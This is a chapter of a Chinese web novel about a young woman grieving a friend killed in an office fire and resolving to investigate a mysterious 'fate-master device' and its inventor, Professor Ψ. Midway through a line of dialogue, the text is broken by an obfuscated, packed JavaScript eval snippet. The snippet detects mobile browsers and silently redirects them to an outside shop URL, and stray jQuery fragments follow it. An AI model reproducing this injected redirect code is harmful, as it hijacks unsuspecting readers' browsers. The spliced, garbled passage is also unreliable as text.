许小杏觉得自己做了一个好长时间的梦,梦里上一秒还是她跟梦绎在一起看落日晚霞,梦绎告诉自己说他要重新开始好好生活。
她为他高兴,也已经在心里想着要为他做点什么,他们是朋友,是那种虽然认识的时间不长,却总觉得缘分很深的好朋友。
许小杏也在心里为梦绎打气,至少在那一刻面对那样洗礼人心灵的景色,他们都对明天会更好坚信不疑。
突然间,赤红色的云霞变成了失控的火灾现场,许小杏被剧烈的爆炸声惊响得猛一回头,她顺着方向看到了梦绎刚刚走进去的公司大楼已被火光和浓烟包围。
她不明白为什么梦绎这么晚还要去公司,她明明记得两个人分开的时候梦绎说他要回家。
后来火灾现场担架抬出来了两个人,当时的情况已经不容乐观,这两个人浑身上下被严重烧伤。
许小杏还是认出了其中一个人是梦绎,她崩溃大哭,但奇怪的是她听不见自己的哭声,同时好像那个时候她就知道梦绎再也回不来了。
当时的许小杏并没有第一时间在现场,这些画面都是后来通过公共信息墙获知的。
对于这样过于惨烈和意外的结局,她曾经想过假如能让时光倒流,回到当时的时间节点,一定要做些什么去阻止、去拯救。
但事实是,即使在梦里给她一次机会,她也只能眼睁睁地跟结局擦肩而过,什么也改变不了。
许小杏觉得她整个人心痛到连呼吸都是破碎的,她给自己定制的快乐人生如果说从袁野袁玫事件就出现了裂痕,那么梦绎的事情已经开始撼动了。
她开始对命运主宰体生出了敌意,开始仇视背后的研发者,那位神秘的Ψ教授。
这样的恨意和负面情绪也如同自我排斥和反噬一样让她整个人元气大伤。好似让她本就不纯粹却厚重的快乐露出了马脚,还有那从定制人生前就始终相随的违背感也更加深了。
紧接着天旋地转,许小杏觉得整个人被炙烤着,快要倒在火海里被淹没。
庆幸的是她没有倒下,有人在她背后及时接住了她,取而代之的是温暖的胸膛而不是灼热。
奇怪的是,只听那个人的心跳声,许小杏就可以知道他是谁…
邵以年在许小杏家已经照顾她几天几夜了,梦绎死于办公大楼失火的事情对她打击很大,好在她的身体和精神状况都在好转,由一开始的昏迷不醒到浑浑噩噩再到现在认得人,意识逐渐清醒,也能开始正常进食。
邵以年和邶珀一开始找了医生也想了各种办法,但都无济于事。好像外界的帮助如果不被许小杏自愿接纳,即使他们做再多努力也没有用。
这几天“漫长”的经历让邵以年生出一种害怕失去许小杏的感觉。
他永远也忘不了许小杏在晕倒前崩溃的眼神,对于梦绎的死他不能说没有完全预料到,梦绎的身体检查报告并不乐观,即使没有这场人为的意外他最多也只能活两年的时间。
邵以年不是冷漠,他是理性的。他以为这样的结果基于梦绎的选择,已经可以让他安全了。
换句话说梦绎的死活对Ψ教授来说已经没有价值了,梦绎已成弃子,当然更构不成威胁。
但很明显是有价值的,至于价值是什么,邵以年现在还不能确定,只是他看向许小杏的目光变得更复杂了些。
即使他现在想让许小杏退出调查,估计也有人不肯放过她,所以最安全的方式就是把她留在自己的身边。
邵以年把能为梦绎做的事情都做在了前面。虽然他确实把梦绎当过调查命运主宰体使用副作用、使用代价的案例来处理。
现在他也证实了这一点,那就是命运主宰体可以用来私自定制别人的人生。一个人在不知情的情况下就可以被他人定制人生,这种恐怖程度跟成为傀儡又有什么区别?
以往的调查案例出现的关于命运主宰体的使用副作用和代价,邵以年只会觉得是那些使用者咎由自取。
但如今他不能再不屑与毫无负担地讲出来这样的话,如果使用副作用、使用代价始终作用在被定制人生的人身上,那他们也可能是不知情且无法反击的受害者。
而那些逍遥法外、躲在阴暗处为了满足自己私欲用命运主宰体定制别人人生的人,连同为这些恶魔提供命运主宰体的Ψ教授才是罪大恶极,才是该为自己的恶行付出代价的人。
对于梦绎的死亡邵以年也无法释怀,虽然他不能像许小杏那样把梦绎视为自己人生里不可割舍的朋友,崩溃到失去理性不能接受现实,但他也想出于私人原因调查清楚梦绎和马哥一定要死亡的原因。
不过显然对方把一切都做得不留痕迹,只归因于办公大楼意外爆炸和失火。
奇怪的是好像全世界所有人都接受了这个结论,只有邵以年,邶珀和许小杏在怀疑本来就应该是真相的真相。
虽然说这个世界瞬息万变,但是这个世界也万变不离其宗。即使是曾经当红的全民偶像,人们也由爱他变成伤害攻击他再变成悼念他、遗忘他,甚至很快又有了新的全民偶像取代他。
许小杏不懂,她对一个人的情感无法做到这么多这么快的转换,她只能傻傻地等在原地,希望那个温柔的梦绎还能回来找自己。
于是她把自己困住了,把自己困病了。但邵以年知道她需要走出来,他伸出一双手不顾她开始本能的反抗,硬生生地把她重新拉回到现实的世界,以她自己的力量。
许小杏用尽了所有的力气挑开眼皮,之后比人先清醒的是早已流出的眼泪,邵以年用掌心接住了它们,觉得很沉很重。
“我多么希望梦绎能活下去,他还那么年轻,他本可以继续看这个世界的阴暗,也可以继续看这个世界的美好…”许小杏哽咽住了,心连带着嗓子都变得干涸和枯萎。
“你已经让他重新活过一次了,从他的人生被定制开始其实也是一种死亡。”邵以年没有说什么安慰和好听的话,他觉得许小杏需要的是一个人直截了当地把她推向现实。
果然许小杏努力让自己振作起来,用郑重的神情看向邵以年,“我要查清楚命运主宰体背后的真相,不仅为了我自己。”
如果说之前是邵以年对许小杏发出邀请调查命运主宰体的事情,现在反过来了,是许小杏在向邵以年邀请。
邵以年把滑落下的被子提起来往许小杏身上搭了搭,借势错开与她的目光接触,“很荣幸成为你坚实的调查搭子,我们永远是年年有杏组合,但是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582570|203701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第一步先养好身体。”
许小杏之前觉得“年年有杏”这个名字又土又尴尬,但现在她觉得很踏实,就好像听起来人生会过得丰收,有盼头,天塌下来了至少饿不死有命活着,而活着就有希望。
“那些是什么?”许小杏瞥见了一角堆放的东西。
“都是治疗药品。”他收到这些东西的时候也很吃惊。
“你和邶珀受伤了?”许小杏关切地问,她现在对伤亡相关的事情变得格外敏感。
邵以年:“没有,这些药品都是送给你的。送药品的人似乎很在乎你。”
许小杏不觉得自己有从事医药行业的朋友,而且和邵以年他们调查命运主宰体的事情她没有告诉任何人。
“你不会给我用了吧?”许小杏看起来很惜命的表情把邵以年给逗笑了。
“放心,我没那么草率。你可是我…我们团队的心肝宝贝,再说就算要试毒,也是邶珀先上,他抗造,一般的毒对他来说直接当饭吃。”
邶珀把这些药品都一一检查过,不仅完全没有问题,而且都是价值不菲的特效药,不少是补养身体用的,送药的人明显很在意许小杏的身体,可以说是面面俱到,无微不至。
要不是任何药品都被许小杏排斥,这些药品还真能考虑用一下。
“可惜了,谁让我才是你最好用的解药呢!”邵以年又是那副没有正形的样子,眼神就这么直勾勾地盯着许小杏,生怕谁抢走了他的心肝宝贝。
许小杏抓了又抓被角,她刚才的思考多少被邵以年打乱了,关心她的人很明显跟命运主宰体有关,大概率也是因为她身上的影响力。
而且这个人对他们这边的情况很清楚,许小杏不喜欢这种感觉,就好像自己时刻被人监视着一样。
这也让她回想起自己此前收到的那条神秘温馨提示,“小心邵以年”,熟悉的被监视感,也许来自同一个人。
“还有一件事情…”邵以年冲着许小杏勾了勾手,许小杏整个人探了过去,“在这个房间里除了我和邶珀以外,还有其他人照顾你的痕迹。”
……
从许小杏生病到现在已经半个多月了,这段时间邵以年和邶珀除了来照顾她和让她养身体以外,没有再提命运主宰体的事情。
有那么两三次许小杏表示自己身体已经完全好了,可以继续调查,但邵以年和邶珀都还是坚持让她再休息一段时间。
许小杏能感觉到自己被他们两个人的调查进度给落下了,她心里很着急,因为她最近完全不知道邵以年和邶珀在做些什么。
虽然许小杏也能吃饭,也能睡觉,但是她每天都会想起梦绎,那种感觉就像是深陷风湿骨痛般的苦悲,不会要你的命,但会在每一个毫无预兆而来的阴雨时刻,让你遍及身心都有所反应。
所以许小杏宁愿让自己快点忙碌起来,好像只有忙碌起来才会稍稍麻痹这样的感觉。
邵以年虽然没告诉许小杏接下来的调查行动,但也没拦着许小杏查命运主宰体和Ψ教授的事情,他的信息墙资料查找权限都共享开放给了许小杏。
这其中也包括邵以年和邶珀此前调查的资料,这让许小杏在短时间内对命运主宰体和Ψ教授也有了更深入的了解。